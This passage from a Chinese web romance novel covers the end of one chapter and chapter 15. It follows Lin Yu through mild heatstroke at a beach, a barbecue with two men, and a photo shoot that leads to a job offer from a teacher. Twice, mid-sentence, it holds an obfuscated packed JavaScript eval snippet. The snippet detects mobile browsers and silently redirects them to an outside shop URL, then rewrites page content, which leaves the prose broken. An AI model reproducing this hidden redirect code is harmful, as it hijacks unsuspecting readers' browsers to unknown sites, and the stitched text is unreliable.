于燃站在两人之间，和尹月泽说着话，林余别过眼去。 尹月泽微笑打趣他：“小燃，不巧了，我昨晚和你说了我们要来云水滩。” 于燃声音惊讶：“尹哥，你真是冤枉我了，我拒绝你了不是吗？只是刚好开车路过，下来看看。” 两人闲谈几句，便不再说话。 林余又感觉热了，脸颊下枕着的手臂简直要被汗珠黏在脸上了，最后一缕阳光消失，热气反而又冒了出来。 她看看尹月泽，依旧是长得端正，长发被系成一个马尾，流苏耳环在夜色下轻轻闪着光，身上看起来很清爽。 “小余，去吃饭了。”尹月泽叫她。 她慢吞吞应了一声好，站起来时因速度过快而眼前发黑，摇晃了两下，才勉强稳住身形。 侧头，于燃一直手前伸，似乎要抓住些什么，最终揉了揉自己的头发，林余这才发现原来于燃额角也有汗珠，正顺着他的鬓角往下滑去。 真不讲卫生。 林余往尹月泽的方向走了两步，隔着衣服撑住他的胳膊。 尹月泽担忧地朝她看来：“小余，怎么手这么凉，不会感冒了吧？” 林余没有松手，她身体一向不太好，这些年昼夜颠倒缺乏锻炼后更是，脑袋发晕，眼前也发黑，她缓了两三分钟，才勉强能看清眼前的东西。 于燃不知何时走到了她的背后，身体轻轻贴着她，扶着她重新坐到了沙滩上，又从宽松的短裤裤兜里掏出一个小风扇，和一排藿香正气水。 干脆利落地掰开藿香正气水的盖子，于燃将瓶嘴凑近她嘴边，轻轻叫她：“乖，张嘴。” 林余喝下，于燃又掏出一瓶水来：“难喝，漱漱口。”林余很讨厌藿香正气水那种刺鼻到直冲天灵盖的味道。 此时她皱着眉，水递到嘴边，更觉难受和口干舌燥，顾不得其他，就着余燃的动作把大半瓶水都喝完了，于燃轻轻拍她的后背，又拿出纸巾给她擦嘴。 这一系列动作都发生得很快，也许是于燃太过于熟练和一气呵成，也许是林余太难受了，总之，等林余缓过劲来时，感觉到后背一片潮湿，于燃还贴着她坐着，以一种环抱着她的姿势。 尹月泽正在侧面给她举着风扇。 “谢谢。”她挣扎着从于燃怀里出来，重新站直身体。 估计是今天太阳太晒，她有点轻度中暑，但休息好了，也不影响状态。 于燃也顺着她的动作起身，任由林余远离他，重新站在尹月泽身边。 “那我就不打扰你们，回民宿吃饭了，下次小心些。” “风扇先借你们了。” 他说这些话时，显得漫不经心， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093815|195564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桃花眼里的笑意依旧愉快，甚至再次扬扬手，准备离开。 夕阳早已经彻底消失，但昏黄的路灯代替了它，照在林余的身上，不远处的马路显得很暗。 “一起吃饭吧？”林余叫住他。 “嗯？” “你不是也饿了，干脆就顺便。” 烧烤摊是露天的，但林余他们找了个好位置，黑色的大风扇正摇摆着脑袋，时不时就带来一阵凉爽的风。 于燃坐在正对风口处，说是要组织风把烧烤桌子上的塑料膜吹飞。 林余看他只是热，想吹风。 尹月泽从老板手里接过靠得热腾腾、香气十足的牛肉串，一一分发给两人，又询问了林余一番，得到她彻底没事的消息后，才又重新笑起来。 于燃今日不知道为什么，格外话少，总是含着笑坐在一旁。 “说起来，小燃看起来很会照顾人呢。”尹月泽挑起话题。 “是吗？我很少照顾人，尹哥你又不是没和我一起工作过。” “我让你带的实习生，你倒是都推给别人了，你说说你，平时那么好相处，怎么一到工作就......” “公私分明不好吗？尹哥你不就喜欢我这一点？我研究生时候也从来不帮导师带人的。” “小余，是吗？”尹月泽转头把林余也拉入话题。 林余正抽离着，羊肉串吃得正香，根本不知道两个人在说什么，干脆就顺着尹月泽的话聊：“是吗？是的。” “尹哥我们等会再说话，我太饿了。”羊肉串被撒了薄薄一层辣椒，把林余的嘴染得很红，她给自己倒一瓶啤酒，倒是吃得很满足。 尹月泽胃不好，烧烤对他来说太过油腻，但这桌上一个两个都只顾埋头吃饭，没人和他闲聊，只能无奈：“我嫡系和我的实习生都不理我，算了，谁让我是个好上司呢？再去给你们点些。” 他起身走了，气氛一时安静下来，林余埋头苦吃，忽然发现盘子里多了几串肉。 烧烤摊子十分热闹，大家都在天南海北地聊着，偶尔有几声笑特别大声，亦或者是惊叫起哄声传来。 于燃靠着小小的座椅，腿脚有些伸展不开，只好侧坐着，他忽然说话：“这个好吃还是上次好吃？” 林余假装没听到。 于燃也假装没说过话。 “可以原谅我一点吗？” 林余：“......” “看来是原谅了。” 林余放下烧烤串，那双狗狗眼睁大，显得万分澄澈，似乎所有心绪都能从上面得到印证，她震惊：“你说什么？” “不然为什么叫住我吃饭？” “只是不想特地去找你还风扇，麻烦。” “哦......” 尹月泽迟迟未归，林余打字问他什么时候回来，他说看见不远处的摊贩有卖凉茶的，想买点治中暑的给林余喝，林余赶紧说不用，她的中暑程度很轻微，有藿香正气水就够了。 尹月泽没回她了，只叫他等一会。 于燃看着她埋着脑袋敲敲打打，中暑时红润得不正常的脸颊也已经恢复了正常。 他微微蜷起手指，端起杯子喝了一口酒。 “他照顾不好你。” 果然，女孩的眼睛立马瞪得比刚才还圆，朝他看来，显得很可爱。 “我需要人照顾吗？” 于燃立马应声：“嗯，不需要。” 15. 第 15 章 在海城的生活渐渐慢了下来，去尹月泽那蹭蹭饭，偶尔去附近逛逛，林余的作息似乎都被养好了一些，毕竟一天到晚无所事事，怎么都能睡够玩够。 但这样的结果就是财政支出不断增加，林余都有些不敢看银行卡余额了，她不得不让舍友帮她把自己的衣服和日用品寄了过来。 平台上挂的摄影单子价格不低，这是林余的底线，但在海城好像这样的价格并不吃香，挂了七八天，终于接到了一单。 这次的客户是一个还在上高中的妹妹，林余再次确认：“父母知情且同意吧？例图我已经在平台上展示了，风格和效果能接受吧？如果有别的想法需求都可以和我提，我会尽量满足，开始拍摄后就不能退款了，就算是父母来也不能哦。” 女生上身穿札幌襟的水手服，下身是淡紫色的格子短裙，到膝盖上方一点，扎着双马尾，脸蛋白净，额头上有几颗红色的小痘痘，眼神明亮鲜活，十分自来熟地抱住林余的胳膊。 “好！我能接受，我父母知道我来拍照的事情，钱也是我自己攒的压岁钱。姐姐，我有关注你的账号，好喜欢你的风格，什么样的女孩子你都拍得好好看，我也想上电视可以吗？” “哦，对了！我叫许知遥，姐姐你可以叫我遥遥，我可以叫你鱼鱼吗姐姐？” 林余的自媒体账号就取自她的小名，叫余余不是鱼，粉丝们便亲切地叫她“鱼鱼”了。 许知遥微微低头，把脑袋放在林余的颈窝处，又忽得抬头，高中生眼睛里的光，就像海城夏日最纯粹热烈的阳光。 林余这些天大部分时候都是闷在民宿里，许知遥这一下就像阳光照到了发霉的苔藓上，不知不觉中，她佯装严肃的脸上也显现出了笑意。 许知遥一边收紧抱住她的手臂，一边上手去捏林余的脸颊：“啊啊，鱼鱼你笑起来真可爱！让我抱抱！” 林余觉得还是让模特保持一些对摄影师的距离感比较好，她清了清嗓子：“你可以叫我鱼鱼姐，我毕竟比你大挺多的。我们先化妆，还是按之前商量好的来。” “嗯嗯。”许知遥收敛了一些，两人找了个没人的咖啡店坐着。 许知遥是个嘴巴闲不下来又很没有警惕心的性格，不过一个小时的时间，林余便已经知道了她的真名、学校、班级，甚至是学习成绩。 “遥遥，坐在椅子上，腿往旁边一些，对，手向我伸过来，笑得非常好看！” “真的吗？让我看看！” ...... 林余拍过的JK，没有十个也有八个，经验丰富，加上许知遥格外配合，拍摄过程十分顺利，很快就进入到今天的最后一个拍摄地点，海城的中山公园。 此时已至傍晚，暑气消散了一些，公园绿化很好，浓翠的绿色层层叠叠把绝大部分阳光遮挡，有风轻轻地荡过树梢，树叶发出沙沙的响声。 林余喝了一口水，环顾四周，找到了合适的场所。 那是一条木质长椅，一缕夕阳的光线打在长椅一半的位置，许知遥坐下时，半边脸恰好承接住阳光。 两人中间隔了有一段距离，不时有笑闹的小孩跑过，遮挡拍摄的视线。 ——咔嚓。 “完美，”林余打了个响指，把相机给许知遥看：“看看还有什么要调整的吗？” 许知遥摆头，看着林余的目光很亮，挽住她的胳膊：“鱼鱼你拍得真好看，我现在就要发朋友圈。” “不急，我回去修一修。”林余看着相机，初步的修改方案已经浮现到脑海里了。 她们拍了一个下午，不仅是摄影师，模特也很累了。 太阳很晒，许知遥远被晒得有些脱妆，一只脚正瞧瞧的曲起点地。 “要喝奶茶吗？我请你。” “好耶，谢谢鱼鱼姐。” 女高中生青春又有活力，眼睛看人时清澈的亮晶晶的，林余心情很好。 林余是一个低能量人，最理想的状态是一天只干一件正事，因此她非常佩服那些整天精力满满，仿佛永远不需要充电的人，也觉得靠近这些人，他们稍微溢出一点的电量都能够很好的感染到她。 许知遥拿着两人的奶茶走过来，递给林余，又一个人鼓捣了会手机，亲亲热热的挽着林余的手臂，靠着她。 “姐姐，我想要这种风格的可以吗？” “能修，都能修。” “这个元素最近好流行啊，对了姐姐，你把视频素材发我一些，我想剪个转场。” “能给，都能给。” 她完全沉溺于女高中生的甜蜜里了。 忽然，许知遥不说话了，她抱住林余的腰，把头狠狠埋进她的腹部，用气声说。 “别说话姐姐，我看到老师了。” 林余惊讶，她以为许知遥是那种和老师谈笑风生的高中生。 “在哪呢？” “隔一个过道，我们对面那桌，背对着我们扎头发的女人。” “只看一个背影，我就知道是她。” 林余看过去。 于燃就坐在老师对面，正对着她们，远远的，两人对视上。 于燃冲她笑了笑。 林余给他发消息：好巧。正在和你聊天的女生，是我客户的老师。 于燃这才把视线从林余脸上移开，注意到了缩在她怀里，紧紧抱住林余的腰，像个鹌鹑的女生。 他微微笑。 “怎么了？于燃。”陈青问他，女人一袭优雅的深蓝色长裙，表情淡定，岁月已经在她脸上留下了痕迹，约莫四五十岁的样子，自有一份淡定从容的气场。 “陈老师，我遇到一位朋友，可以去打声招呼吗？” “去吧，咦…我和你一起。”陈老师也起身。 林余轻轻拍了拍许知遥的背。 因为自己不是学生了，所以看着这样的场景心里没有紧张，只有些想笑。 “遥遥，对不起，和你老师讲话的，刚好是我朋友。” “现在他们过来了。” “林余，在海城玩得怎么样？”于燃笑着低头，看了一眼林余怀里的人。 林余拍拍许知遥的头以资鼓励，让她勇敢面对老师。 “挺好的。” 许知遥也抬起头，极其心虚的盯着于燃旁边的女人。 “陈老师，您好呀，好巧啊哈哈，您也来喝奶茶，这家的奶茶可好喝了，我最喜欢喝他们家的藏盐奶青，我请你喝呀。” 她一紧张话就多。 救命，她还没有写英语作业，千万不要问她。 陈青点点头，她也知道这些学生脑子里在想什么，只笑着：“许知遥，和朋友出来玩吗？你们学习压力大，多放松放松也挺好的。” “哈哈，谢谢老师。”许知遥挠头，松了一口气。 陈青视线转到林余身上，林余不由挺直腰背。 “这位就是于燃说的朋友吧？” 于燃适时开口：“嗯，这是我大学时的朋友，叫林余，来海城旅游。林余，这是我高中班主任，陈老师。” 林余回：“陈老师好。”她有些惊讶，于燃的父母都在京市，于燃却在海城上的学吗？这一南一北也挺远的。 三人又聊了几句。 许知遥搂着林余的胳膊，按捺不住好奇：“所以你们都是C大的吗？哇，好厉害。燃哥你看起来和鱼鱼姐可不像是同学啊。” 于燃原本如沐春风笑着的脸，有明显的一僵。 “什么意思？” 许知遥自觉失言：“不是不是，燃哥你看起来很年轻，但是你的年轻和鱼鱼姐的年轻不一样，就是你看起来比鱼鱼姐大一些。” 林余弯起嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093816|195564||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，解释。 “于燃和我是一个学院的，但他是硕士，我是本科。” 许知遥一脸果然如此的表情，又看见于燃笑眯眯朝她看来，不禁更加握紧了林余的胳膊。 有点可怕。 “哈哈，燃哥长得好帅啊，这么一个大帅哥，一定很多人追吧。” 许知遥只是随便找补了一句话，只想把刚刚的话题混过去，甚至都不需要于燃回答。 可陈青却对这个话题很感兴趣，她问：“是啊，于燃。你高中的时候好像就经常谈恋爱，大学有没有遇到喜欢的女孩子啊？” 于燃看林余，她脸上没什么表情，非常可爱，但也不知道对这件事持有什么态度。 他咬牙：“老师，我高中的时候怎么就经常谈恋爱了？你不要乱说，教坏小孩子。” 陈青惊讶：“哎呀，没有吗？可是你们宿舍的人说你经常和女生一起去操场。老师认为这是青春期荷尔蒙分泌的正常现象，不影响成绩又健康的恋爱，我还是睁一只眼闭一只眼的。” “老师，您还是少信他们的话。我当时经常在操场打球，可能是打完走圈休息的时候，操场人太多，就造成有女生在我身边的假象。” 陈青：“于燃，你不用不好意思，我知道，当时有很多女生都在操场给你送水吧？” “你真的没谈？” “没谈，老师，”于燃微笑：“我大学四年也没谈。” 陈青优雅的摆摆手：“解释的那么清楚干嘛，这不像你啊。老师对你的私生活兴趣也没那么大，别教坏了小朋友。” 林余宛如看了一场喜剧一般，果然是；老师血脉里对学生的天然压制。 圆滑如于燃，机灵如许知遥，都被陈青几句话说得哑口无言。 幸好她不是陈老师的学生。 陈青的视线扫过桌子，看到了林余的相机。 她温柔的笑着：“林余，这是你的吗？” 林余乖巧回答：“是的陈老师，我喜欢照相，您下次要是有需要，可以来找我。” 她只是客套话，虽然十分欣赏陈老师，却也清楚两人也不过今天一面之缘了。 可谁料，陈老师眼睛一亮：“你会拍照？” “稍微学过一些。” 于燃补充：“老师，这是林余从大学起就坚持的爱好，她拍的很好，甚至可以靠这个赚钱。” 谢知遥也狠狠赞同：“是的老师！姐姐拍的真的很好，她刚刚就在帮我拍照，姐姐，可以给老师看看吗？” 林余自然表示同意。 陈青不懂摄影，可看到两位学生都大力推荐，又听说林余已经可以靠拍照赚钱，再看到相机中的照片，满意的点点头。 “林余，我还真的有事想拜托你。” “啊？” “我们海城一中有每年捡拾海边垃圾志愿活动的传统，最近教育局要办一个文明校园的选举，我们当然也报名参加了，所以今年的志愿活动对我们来说非常重要。我是海城一中负责这个志愿活动和文明校园选举的老师，队伍里还缺一名摄影师，请问你愿不愿意来？学校批下来的摄影师资金还是挺丰厚的。” “你和我的学生们都认识，我看了你的作品，也觉得你能胜任这项工作，我们可以先加个联系方式详谈。”陈青微笑着，比了个五。 和于燃走出奶茶店，感觉脑子晕晕乎乎的。 她忽然伸出手来。 于燃疑惑。 林余：“打我一下。” 于燃笑起来，把手里拎着的她忘拿的奶茶挂到她手上：“不是梦。” 看着手机里陈老师的联系方式，林余忍不住跳了一下。 她没想到事情会这么顺利，这次来海城，她手上没有多少积蓄。 带着的，其实只有一时的冲动与想要逃离的勇气。